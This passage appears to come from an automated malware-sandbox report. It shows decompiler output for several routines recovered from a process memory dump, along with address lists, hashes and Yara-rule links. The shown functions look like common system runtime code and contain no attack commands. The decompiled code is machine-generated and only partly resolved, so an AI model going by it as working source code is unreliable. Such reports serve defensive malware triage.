						 *((char*)(_t68 + 0x29)) = _a8;
						if(_t71 != 0) {
							_t22 = _t68 + 0x2a; // 0x2a
							_t64 = _t22;
							E00DC6B4C(_t58, _t22, _t71,  &_v604);
							if(_t55 != 0) {
								_t25 = _v604 + 0x2a; // 0x2a
								_t64 = _t25 + _t68;
								E00DC6B4C(_t55, _t25 + _t68, _t71 - _v604,  &_v604);
							}
							if(E00D67D50() == 0) {
								_t61 = 0x7ffe0384;
							} else {
								_t61 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							}
							_push(_t68);
							_push(_v592 + 0xffffffe0);
							_push(0x402);
							_push( *_t61 & 0x000000ff);
							E00D89AE0();
						}
					}
					_t35 =  &_v588;
					if( &_v588 != _t68) {
						_t35 = L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t68);
					}
					L16:
					_pop(_t69);
					_pop(_t72);
					_pop(_t56);
					return E00D8B640(_t35, _t56, _v8 ^ _t77, _t64, _t69, _t72);
				}
				_t68 = L00D64620(_t58,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t33);
				if(_t68 == 0) {
					goto L16;
				} else {
					_t58 = _v600;
					_t64 = _v596;
					goto L6;
				}
			}

0x00dc7016
0x00dc701e
0x00dc702b
0x00dc7033
0x00dc7037
0x00dc703c
0x00dc703e
0x00dc7041
0x00dc7045
0x00dc704a
0x00dc7050
0x00dc7055
0x00dc705a
0x00dc7062
0x00dc7062
0x00dc705a
0x00dc7064
0x00dc7064
0x00dc7067
0x00dc7071
0x00dc7096
0x00dc709b
0x00dc70a2
0x00dc70a6
0x00dc70a7
0x00dc70ad
0x00dc70b3
0x00dc70b6
0x00dc70bb
0x00dc70c3
0x00dc70c3
0x00dc70c6
0x00dc70cd
0x00dc70dd
0x00dc70e0
0x00dc70e2
0x00dc70e2
0x00dc70ee
0x00dc7101
0x00dc70f0
0x00dc70f9
0x00dc70f9
0x00dc710a
0x00dc710e
0x00dc7112
0x00dc7117
0x00dc7118
0x00dc7118
0x00dc70bb
0x00dc711d
0x00dc7123
0x00dc7131
0x00dc7131
0x00dc7136
0x00dc713d
0x00dc713e
0x00dc713f
0x00dc714a
0x00dc714a
0x00dc7084
0x00dc7088
0x00000000
0x00dc708e
0x00dc708e
0x00dc7092
0x00000000
0x00dc7092

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fea5f2a5a144431da9c512b26d948a8cfa2f1189a90ec60d9c8a0139cac9527
Instruction ID: 091fe200b8618c3040878140fd0fe1255ae661624db834a3e88b37a384567fda
Opcode Fuzzy Hash: 3fea5f2a5a144431da9c512b26d948a8cfa2f1189a90ec60d9c8a0139cac9527
Instruction Fuzzy Hash: 1E3172726087529BC321DF68C941F6AB7A5FF88710F084A2DF89597691E730ED04CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 00D6C182, Relevance: .1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00D6C182(void* __ecx, unsigned int* __edx, intOrPtr _a4) {
				signed int* _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				signed char _t33;
				signed char _t43;
				signed char _t48;
				signed char _t62;
				void* _t63;
				intOrPtr _t69;
				intOrPtr _t71;
				unsigned int* _t82;
				void* _t83;

				_t80 = __ecx;
				_t82 = __edx;
				_t33 =  *((intOrPtr*)(__ecx + 0xde));
				_t62 = _t33 >> 0x00000001 & 0x00000001;
				if((_t33 & 0x00000001) != 0) {
					_v8 = ((0 | _t62 != 0x00000000) - 0x00000001 & 0x00000048) + 8 + __edx;
					if(E00D67D50() != 0) {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t43 = 0x7ffe0386;
					}
					if( *_t43 != 0) {
						_t43 = E00E18D34(_v8, _t80);
					}
					E00D62280(_t43, _t82);
					if( *((char*)(_t80 + 0xdc)) == 0) {
						E00D5FFB0(_t62, _t80, _t82);
						 *(_t80 + 0xde) =  *(_t80 + 0xde) | 0x00000004;
						_t30 = _t80 + 0xd0; // 0xd0
						_t83 = _t30;
						E00E18833(_t83,  &_v16);
						_t81 = _t80 + 0x90;
						E00D5FFB0(_t62, _t80 + 0x90, _t80 + 0x90);
						_t63 = 0;
						_push(0);
						_push(_t83);
						_t48 = E00D8B180();
						if(_a4 != 0) {
							E00D62280(_t48, _t81);
						}
					} else {
						_t69 = _v8;
						_t12 = _t80 + 0x98; // 0x98
						_t13 = _t69 + 0xc; // 0x575651ff
						E00D6BB2D(_t13, _t12);
						_t71 = _v8;
						_t15 = _t80 + 0xb0; // 0xb0
						_t16 = _t71 + 8; // 0x8b000cc2
						E00D6BB2D(_t16, _t15);
						E00D6B944(_v8, _t62);
						 *((char*)(_t80 + 0xdc)) = 0;
						E00D5FFB0(0, _t80, _t82);
						 *((intOrPtr*)(_t80 + 0xd8)) = 0;
						 *((intOrPtr*)(_t80 + 0xc8)) = 0;
						 *((intOrPtr*)(_t80 + 0xcc)) = 0;
						 *(_t80 + 0xde) = 0;
						if(_a4 == 0) {
							_t25 = _t80 + 0x90; // 0x90
							E00D5FFB0(0, _t80, _t25);
						}
						_t63 = 1;
					}
					return _t63;
				}
				 *((intOrPtr*)(__ecx + 0xc8)) = 0;
				 *((intOrPtr*)(__ecx + 0xcc)) = 0;
				if(_a4 == 0) {
					_t24 = _t80 + 0x90; // 0x90
					E00D5FFB0(0, __ecx, _t24);
				}
				return 0;
			}

0x00d6c18d
0x00d6c18f
0x00d6c191
0x00d6c19b
0x00d6c1a0
0x00d6c1d4
0x00d6c1de
0x00db2d6e
0x00d6c1e4
0x00d6c1e4
0x00d6c1e4
0x00d6c1ec
0x00db2d7d
0x00db2d7d
0x00d6c1f3
0x00d6c1ff
0x00db2d88
0x00db2d8d
0x00db2d94
0x00db2d94
0x00db2d9f
0x00db2da4
0x00db2dab
0x00db2db0
0x00db2db2
0x00db2db3
0x00db2db4
0x00db2dbc
0x00db2dc3
0x00db2dc3
0x00d6c205
0x00d6c205
0x00d6c208
0x00d6c20e
0x00d6c211
0x00d6c216
0x00d6c219
0x00d6c21f
0x00d6c222
0x00d6c22c
0x00d6c234
0x00d6c23a
0x00d6c23f
0x00d6c245
0x00d6c24b
0x00d6c251
0x00d6c25a
0x00d6c276
0x00d6c27d
0x00d6c27d
0x00d6c25c
0x00d6c25c
0x00000000
0x00d6c25e
0x00d6c1a4
0x00d6c1aa
0x00d6c1b3
0x00d6c265
0x00d6c26c
0x00d6c26c
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction ID: 9b0890f6f3c7d83fcc33dea2b5a03a9207a6816ab36cd56b19a59d3146e4a45f
Opcode Fuzzy Hash: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction Fuzzy Hash: 9D312672601646AFDB04EBB4C491BF9F754FF56304F18416AE8589B202DB38AA49DBF0

Uniqueness

Uniqueness Score: -1.00%

Function 00D7A70E, Relevance: .1, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00D7A70E(intOrPtr* __ecx, char* __edx) {
				unsigned int _v8;
				intOrPtr* _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t16;
				intOrPtr _t17;
				intOrPtr _t28;
				char* _t33;
				intOrPtr _t37;
				intOrPtr _t38;
				void* _t50;
				intOrPtr _t52;

				_push(__ecx);
				_push(__ecx);
				_t52 =  *0xe37b10; // 0x8
				_t33 = __edx;
				_t48 = __ecx;
				_v12 = __ecx;
				if(_t52 == 0) {
					 *0xe37b10 = 8;
					 *0xe37b14 = 0xe37b0c;
					 *0xe37b18 = 1;
					L6:
					_t2 = _t52 + 1; // 0x9
					E00D7A990(0xe37b10, _t2, 7);
					asm("bts ecx, eax");
					 *_t48 = _t52;
					 *_t33 = 1;
					L3:
					_t16 = 0;
					L4:
					return _t16;
				}
				_t17 = L00D7A840(__edx, __ecx, __ecx, _t52, 0xe37b10, 1, 0);
				if(_t17 == 0xffffffff) {
					_t37 =  *0xe37b10; // 0x8
					_t3 = _t37 + 0x27; // 0x2f
					__eflags = _t3 >> 5 -  *0xe37b18; // 0x1
					if(__eflags > 0) {
						_t38 =  *0xe37b9c; // 0x0
						_t4 = _t52 + 0x27; // 0x2f
						_v8 = _t4 >> 5;
						_t50 = L00D64620(_t38 + 0xc0000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0xc0000, _t4 >> 5 << 2);
						__eflags = _t50;
						if(_t50 == 0) {
							_t16 = 0xc0000017;
							goto L4;
						}
						 *0xe37b18 = _v8;
						_t8 = _t52 + 7; // 0xf
						E00D8F3E0(_t50,  *0xe37b14, _t8 >> 3);
						_t28 =  *0xe37b14; // 0x77ad7b0c
						__eflags = _t28 - 0xe37b0c;
						if(_t28 != 0xe37b0c) {
							L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
						}
						_t9 = _t52 + 8; // 0x10
						 *0xe37b14 = _t50;
						_t48 = _v12;
						 *0xe37b10 = _t9;
						goto L6;
					}
					 *0xe37b10 = _t37 + 8;
					goto L6;
				}
				 *__ecx = _t17;
				 *_t33 = 0;
				goto L3;
			}

0x00d7a713
0x00d7a714
0x00d7a717
0x00d7a71d
0x00d7a720
0x00d7a722
0x00d7a727
0x00d7a74a
0x00d7a754
0x00d7a75e
0x00d7a768
0x00d7a76a
0x00d7a773
0x00d7a78b
0x00d7a790
0x00d7a792
0x00d7a741
0x00d7a741
0x00d7a743
0x00d7a749
0x00d7a749
0x00d7a732
0x00d7a73a
0x00d7a797
0x00d7a79d
0x00d7a7a3
0x00d7a7a9
0x00d7a7b6
0x00d7a7bc
0x00d7a7ca
0x00d7a7e0
0x00d7a7e2
0x00d7a7e4
0x00db9bf2
0x00000000
0x00db9bf2
0x00d7a7ed
0x00d7a7f2
0x00d7a800
0x00d7a805
0x00d7a80d
0x00d7a812
0x00db9c08
0x00db9c08
0x00d7a818
0x00d7a81b
0x00d7a821
0x00d7a824
0x00000000
0x00d7a824
0x00d7a7ae
0x00000000
0x00d7a7ae
0x00d7a73c
0x00d7a73e
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b60cd10ca01d0f144b8f92c6af99e0e3331b376fab3ce5b976858ee8ae68aec6
Instruction ID: 9a01af693b719a95c135cccf81b10631821fc9b58084fdfc8d33f0f1de3e0176
Opcode Fuzzy Hash: b60cd10ca01d0f144b8f92c6af99e0e3331b376fab3ce5b976858ee8ae68aec6
Instruction Fuzzy Hash: 3831AFF1608209DFC725CF1ADC85F69FBFAFB85710F14895AE089A7250E7709905CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00D761A0, Relevance: .1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00D761A0(signed int* __ecx) {
				intOrPtr _v8;
				char _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				intOrPtr _t30;
				intOrPtr _t31;
				void* _t32;
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t49;
				signed int _t51;
				intOrPtr _t52;
				signed int _t54;
				void* _t59;
				signed int* _t61;
				intOrPtr* _t64;

				_t61 = __ecx;
				_v12 = 0;
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
				_v16 = __ecx;
				_v8 = 0;
				if(_t30 == 0) {
					L6:
					_t31 = 0;
					L7:
					return _t31;
				}
				_t32 = _t30 + 0x5d8;
				if(_t32 == 0) {
					goto L6;
				}
				_t59 = _t32 + 0x30;
				if( *((intOrPtr*)(_t32 + 0x30)) == 0) {
					goto L6;
				}
				if(__ecx != 0) {
					 *((intOrPtr*)(__ecx)) = 0;
					 *((intOrPtr*)(__ecx + 4)) = 0;
				}
				if( *((intOrPtr*)(_t32 + 0xc)) != 0) {
					_t51 =  *(_t32 + 0x10);
					_t33 = _t32 + 0x10;
					_v20 = _t33;
					_t54 =  *(_t33 + 4);
					if((_t51 | _t54) == 0) {
						_t37 = E00D75E50(0xd267cc, 0, 0,  &_v12);
						if(_t37 != 0) {
							goto L6;
						}
						_t52 = _v8;
						asm("lock cmpxchg8b [esi]");
						_t64 = _v16;
						_t49 = _t37;
						_v20 = 0;
						if(_t37 == 0) {
							if(_t64 != 0) {
								 *_t64 = _v12;
								 *((intOrPtr*)(_t64 + 4)) = _t52;
							}
							E00E19D2E(_t59, 0, _v12, _v8,  *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38) & 0x0000ffff,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x3c)));
							_t31 = 1;
							goto L7;
						}
						E00D4F7C0(_t52, _v12, _t52, 0);
						if(_t64 != 0) {
							 *_t64 = _t49;
							 *((intOrPtr*)(_t64 + 4)) = _v20;
						}
						L12:
						_t31 = 1;
						goto L7;
					}
					if(_t61 != 0) {
						 *_t61 = _t51;
						_t61[1] = _t54;
					}
					goto L12;
				} else {
					goto L6;
				}
			}

0x00d761b3
0x00d761b5
0x00d761bd
0x00d761c3
0x00d761c7
0x00d761d2
0x00d761ff
0x00d761ff
0x00d76201
0x00d76207
0x00d76207
0x00d761d4
0x00d761d9
0x00000000
0x00000000
0x00d761df
0x00d761e2
0x00000000
0x00000000
0x00d761e6
0x00d761e8
0x00d761ee
0x00d761ee
0x00d761f9
0x00db762f
0x00db7632
0x00db7635
0x00db7639
0x00db7640
0x00db766e
0x00db7675
0x00000000
0x00000000
0x00db7681
0x00db7689
0x00db768d
0x00db7691
0x00db7695
0x00db7699
0x00db76af
0x00db76b5
0x00db76b7
0x00db76b7
0x00db76d7
0x00db76dc
0x00000000
0x00db76dc
0x00db76a2
0x00db76a9
0x00db7651
0x00db7653
0x00db7653
0x00db7656
0x00db7656
0x00000000
0x00db7656
0x00db7644
0x00db7646
0x00db7648
0x00db7648
0x00000000
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb9a2940d132f043cf644ef7f00851b2d31ebd350eaac217507dbf6dc9ca8dbd
Instruction ID: 85fb6999c073ef1b9775cfaf742fe35112fab40f2a9d6351ed63fd0986c9607a
Opcode Fuzzy Hash: fb9a2940d132f043cf644ef7f00851b2d31ebd350eaac217507dbf6dc9ca8dbd
Instruction Fuzzy Hash: F4316B71609B01CFD360CF19C804B66B7E5FB98B00F59896DE89997351E7B0ED04CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D4AA16, Relevance: .1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00D4AA16(signed short* __ecx) {
				signed int _v8;
				intOrPtr _v12;
				signed short _v16;
				intOrPtr _v20;
				signed short _v24;
				signed short _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t25;
				signed short _t38;
				signed short* _t42;
				signed int _t44;
				signed short* _t52;
				signed short _t53;
				signed int _t54;

				_v8 =  *0xe3d360 ^ _t54;
				_t42 = __ecx;
				_t44 =  *__ecx & 0x0000ffff;
				_t52 =  &(__ecx[2]);
				_t51 = _t44 + 2;
				if(_t44 + 2 > (__ecx[1] & 0x0000ffff)) {
					L4:
					_t25 =  *0xe37b9c; // 0x0
					_t53 = L00D64620(_t44,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t25 + 0x180000, _t51);
					__eflags = _t53;
					if(_t53 == 0) {
						L3:
						return E00D8B640(_t28, _t42, _v8 ^ _t54, _t51, _t52, _t53);
					} else {
						E00D8F3E0(_t53,  *_t52,  *_t42 & 0x0000ffff);
						 *((short*)(_t53 + (( *_t42 & 0x0000ffff) >> 1) * 2)) = 0;
						L2:
						_t51 = 4;
						if(L00D56C59(_t53, _t51, _t58) != 0) {
							_t28 = E00D75E50(0xd2c338, 0, 0,  &_v32);
							__eflags = _t28;
							if(_t28 == 0) {
								_t38 = ( *_t42 & 0x0000ffff) + 2;
								__eflags = _t38;
								_v24 = _t53;
								_v16 = _t38;
								_v20 = 0;
								_v12 = 0;
								E00D7B230(_v32, _v28, 0xd2c2d8, 1,  &_v24);
								_t28 = E00D4F7A0(_v32, _v28);
							}
							__eflags = _t53 -  *_t52;
							if(_t53 !=  *_t52) {
								_t28 = L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
							}
						}
						goto L3;
					}
				}
				_t53 =  *_t52;
				_t44 = _t44 >> 1;
				_t58 =  *((intOrPtr*)(_t53 + _t44 * 2));
				if( *((intOrPtr*)(_t53 + _t44 * 2)) != 0) {
					goto L4;
				}
				goto L2;
			}

0x00d4aa25
0x00d4aa29
0x00d4aa2d
0x00d4aa30
0x00d4aa37
0x00d4aa3c
0x00da4458
0x00da4458
0x00da4472
0x00da4474
0x00da4476
0x00d4aa64
0x00d4aa74
0x00da447c
0x00da4483
0x00da4492
0x00d4aa52
0x00d4aa54
0x00d4aa5e
0x00da44a8
0x00da44ad
0x00da44af
0x00da44b6
0x00da44b6
0x00da44b9
0x00da44bc
0x00da44cd
0x00da44d3
0x00da44d6
0x00da44e1
0x00da44e1
0x00da44e6
0x00da44e8
0x00da44fb
0x00da44fb
0x00da44e8
0x00000000
0x00d4aa5e
0x00da4476
0x00d4aa42
0x00d4aa46
0x00d4aa48
0x00d4aa4c
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac098b0002e8189ead0c3dd5aae4bc89d7ba6ce22540689fb6d3f3ba53e642ed
Instruction ID: 68a219a67dbae306abb13f45c61f1cfbb2469c56b29011aad4eb31d14310510f
Opcode Fuzzy Hash: ac098b0002e8189ead0c3dd5aae4bc89d7ba6ce22540689fb6d3f3ba53e642ed
Instruction Fuzzy Hash: CE31B171A00219ABCB10AF68CD82ABFB7B9EF48700F05446AF841EB151E7B49D11DBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D88EC7, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00D88EC7(void* __ecx, void* __edx) {
				signed int _v8;
				signed int* _v16;
				intOrPtr _v20;
				signed int* _v24;
				char* _v28;
				signed int* _v32;
				intOrPtr _v36;
				signed int* _v40;
				signed int* _v44;
				signed int* _v48;
				intOrPtr _v52;
				signed int* _v56;
				signed int* _v60;
				signed int* _v64;
				intOrPtr _v68;
				signed int* _v72;
				char* _v76;
				signed int* _v80;
				signed int _v84;
				signed int* _v88;
				intOrPtr _v92;
				signed int* _v96;
				intOrPtr _v100;
				signed int* _v104;
				signed int* _v108;
				char _v140;
				signed int _v144;
				signed int _v148;
				signed int* _v152;
				char _v156;
				signed int* _v160;
				char _v164;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t67;
				intOrPtr _t70;
				void* _t71;
				void* _t72;
				signed int _t73;

				_t69 = __edx;
				_v8 =  *0xe3d360 ^ _t73;
				_t48 =  *[fs:0x30];
				_t72 = __edx;
				_t71 = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 0x18)) != 0) {
					_t48 = E00D74E70(0xe386e4, 0xd89490, 0, 0);
					if( *0xe353e8 > 5 && E00D88F33(0xe353e8, 0, 0x2000) != 0) {
						_v156 =  *((intOrPtr*)(_t71 + 0x44));
						_v144 =  *(_t72 + 0x44) & 0x0000ffff;
						_v148 =  *(_t72 + 0x46) & 0x0000ffff;
						_v164 =  *((intOrPtr*)(_t72 + 0x58));
						_v108 =  &_v84;
						_v92 =  *((intOrPtr*)(_t71 + 0x28));
						_v84 =  *(_t71 + 0x24) & 0x0000ffff;
						_v76 =  &_v156;
						_t70 = 8;
						_v60 =  &_v144;
						_t67 = 4;
						_v44 =  &_v148;
						_v152 = 0;
						_v160 = 0;
						_v104 = 0;
						_v100 = 2;
						_v96 = 0;
						_v88 = 0;
						_v80 = 0;
						_v72 = 0;
						_v68 = _t70;
						_v64 = 0;
						_v56 = 0;
						_v52 = 0xe353e8;
						_v48 = 0;
						_v40 = 0;
						_v36 = 0xe353e8;
						_v32 = 0;
						_v28 =  &_v164;
						_v24 = 0;
						_v20 = _t70;
						_v16 = 0;
						_t69 = 0xd2bc46;
						_t48 = E00DC7B9C(0xe353e8, 0xd2bc46, _t67, 0xe353e8, _t70,  &_v140);
					}
				}
				return E00D8B640(_t48, 0, _v8 ^ _t73, _t69, _t71, _t72);
			}

0x00d88ec7
0x00d88ed9
0x00d88edc
0x00d88ee6
0x00d88ee9
0x00d88eee
0x00d88efc
0x00d88f08
0x00dc1349
0x00dc1353
0x00dc135d
0x00dc1366
0x00dc136f
0x00dc1375
0x00dc137c
0x00dc1385
0x00dc1390
0x00dc1391
0x00dc139c
0x00dc139d
0x00dc13a6
0x00dc13ac
0x00dc13b2
0x00dc13b5
0x00dc13bc
0x00dc13bf
0x00dc13c2
0x00dc13c5
0x00dc13c8
0x00dc13cb
0x00dc13ce
0x00dc13d1
0x00dc13d4
0x00dc13d7
0x00dc13da
0x00dc13dd
0x00dc13e0
0x00dc13e3
0x00dc13e6
0x00dc13e9
0x00dc13f6
0x00dc1400
0x00dc1400
0x00d88f08
0x00d88f32

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a251cc6049e5cf7877e4f6581e6491294fc73cdb023461b559fcb373fb8ad777
Instruction ID: 9d028371b7493b857307174255744797e497b7e7178aece1f9373c7ba04a25e6
Opcode Fuzzy Hash: a251cc6049e5cf7877e4f6581e6491294fc73cdb023461b559fcb373fb8ad777
Instruction Fuzzy Hash: 1041A2B1D003189FDB20DFAAD981AADFBF8FB48710F5041AEE559A7241EB705A44CF60

Uniqueness

Uniqueness Score: -1.00%

Function 00D84A2C, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00D84A2C(signed int* __ecx, intOrPtr* __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int* _v12;
				char _v13;
				signed int _v16;
				char _v21;
				signed int* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				signed int* _t32;
				signed int* _t41;
				signed int _t42;
				void* _t43;
				intOrPtr* _t51;
				void* _t52;
				signed int _t53;
				signed int _t58;
				void* _t59;
				signed int _t60;
				signed int _t62;

				_t49 = __edx;
				_t62 = (_t60 & 0xfffffff8) - 0xc;
				_t26 =  *0xe3d360 ^ _t62;
				_v8 =  *0xe3d360 ^ _t62;
				_t41 = __ecx;
				_t51 = __edx;
				_v12 = __ecx;
				if(_a4 == 0) {
					if(_a8 != 0) {
						goto L1;
					}
					_v13 = 1;
					E00D62280(_t26, 0xe38608);
					_t58 =  *_t41;
					if(_t58 == 0) {
						L11:
						E00D5FFB0(_t41, _t51, 0xe38608);
						L2:
						 *0xe3b1e0(_a4, _a8);
						_t42 =  *_t51();
						if(_t42 == 0) {
							_t29 = 0;
							L5:
							_pop(_t52);
							_pop(_t59);
							_pop(_t43);
							return E00D8B640(_t29, _t43, _v16 ^ _t62, _t49, _t52, _t59);
						}
						 *((intOrPtr*)(_t42 + 0x34)) = 1;
						if(_v21 != 0) {
							_t53 = 0;
							E00D62280(_t28, 0xe38608);
							_t32 = _v24;
							if( *_t32 == _t58) {
								 *_t32 = _t42;
								 *((intOrPtr*)(_t42 + 0x34)) =  *((intOrPtr*)(_t42 + 0x34)) + 1;
								if(_t58 != 0) {
									 *(_t58 + 0x34) =  *(_t58 + 0x34) - 1;
									asm("sbb edi, edi");
									_t53 =  !( ~( *(_t58 + 0x34))) & _t58;
								}
							}
							E00D5FFB0(_t42, _t53, 0xe38608);
							if(_t53 != 0) {
								L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
							}
						}
						_t29 = _t42;
						goto L5;
					}
					if( *((char*)(_t58 + 0x40)) != 0) {
						L10:
						 *(_t58 + 0x34) =  *(_t58 + 0x34) + 1;
						E00D5FFB0(_t41, _t51, 0xe38608);
						_t29 = _t58;
						goto L5;
					}
					_t49 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					if( *((intOrPtr*)(_t58 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
						goto L11;
					}
					goto L10;
				}
				L1:
				_v13 = 0;
				_t58 = 0;
				goto L2;
			}

0x00d84a2c
0x00d84a34
0x00d84a3c
0x00d84a3e
0x00d84a48
0x00d84a4b
0x00d84a4d
0x00d84a51
0x00d84a9c
0x00000000
0x00000000
0x00d84aa3
0x00d84aa8
0x00d84aad
0x00d84ab1
0x00d84ade
0x00d84ae3
0x00d84a5a
0x00d84a62
0x00d84a6a
0x00d84a6e
0x00dbf203
0x00d84a84
0x00d84a88
0x00d84a89
0x00d84a8a
0x00d84a95
0x00d84a95
0x00d84a79
0x00d84a80
0x00d84af2
0x00d84af4
0x00d84af9
0x00d84aff
0x00d84b01
0x00d84b03
0x00d84b08
0x00dbf20a
0x00dbf212
0x00dbf216
0x00dbf216
0x00d84b08
0x00d84b13
0x00d84b1a
0x00dbf229
0x00dbf229
0x00d84b1a
0x00d84a82
0x00000000
0x00d84a82
0x00d84ab7
0x00d84acd
0x00d84acd
0x00d84ad5
0x00d84ada
0x00000000
0x00d84ada
0x00d84ac2
0x00d84acb
0x00000000
0x00000000
0x00000000
0x00d84acb
0x00d84a53
0x00d84a53
0x00d84a58
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 087224f47196a9f59e5cfafa468456dbaf64e784e6a19e3a199c62dd9cf11720
Instruction ID: 7cafec815153834cd12ac5e8b0fd7c73fa4efb7269ba0f97f45f597ca9f025c2
Opcode Fuzzy Hash: 087224f47196a9f59e5cfafa468456dbaf64e784e6a19e3a199c62dd9cf11720
Instruction Fuzzy Hash: EB312432245711DBC721AF54C946B2ABBA4FF84B14F191469F8564F641CB74EC04CBB9

Uniqueness

Uniqueness Score: -1.00%

Function 00D7E730, Relevance: .1, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E00D7E730(void* __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr* _a40) {
				intOrPtr* _v0;
				signed char _v4;
				signed int _v8;
				void* __ecx;
				void* __ebp;
				void* _t37;
				intOrPtr _t38;
				signed int _t44;
				signed char _t52;
				void* _t54;
				intOrPtr* _t56;
				void* _t58;
				char* _t59;
				signed int _t62;

				_t58 = __edx;
				_push(0);
				_push(4);
				_push( &_v8);
				_push(0x24);
				_push(0xffffffff);
				if(E00D89670() < 0) {
					L00D9DF30(_t54, _t58, _t35);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t54);
					_t52 = _v4;
					if(_t52 > 8) {
						_t37 = 0xc0000078;
					} else {
						_t38 =  *0xe37b9c; // 0x0
						_t62 = _t52 & 0x000000ff;
						_t59 = L00D64620(8 + _t62 * 4,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0x140000, 8 + _t62 * 4);
						if(_t59 == 0) {
							_t37 = 0xc0000017;
						} else {
							_t56 = _v0;
							 *(_t59 + 1) = _t52;
							 *_t59 = 1;
							 *((intOrPtr*)(_t59 + 2)) =  *_t56;
							 *((short*)(_t59 + 6)) =  *((intOrPtr*)(_t56 + 4));
							_t44 = _t62 - 1;
							if(_t44 <= 7) {
								switch( *((intOrPtr*)(_t44 * 4 +  &M00D7E810))) {
									case 0:
										L6:
										 *((intOrPtr*)(_t59 + 8)) = _a8;
										goto L7;
									case 1:
										L13:
										 *((intOrPtr*)(__edx + 0xc)) = _a12;
										goto L6;
									case 2:
										L12:
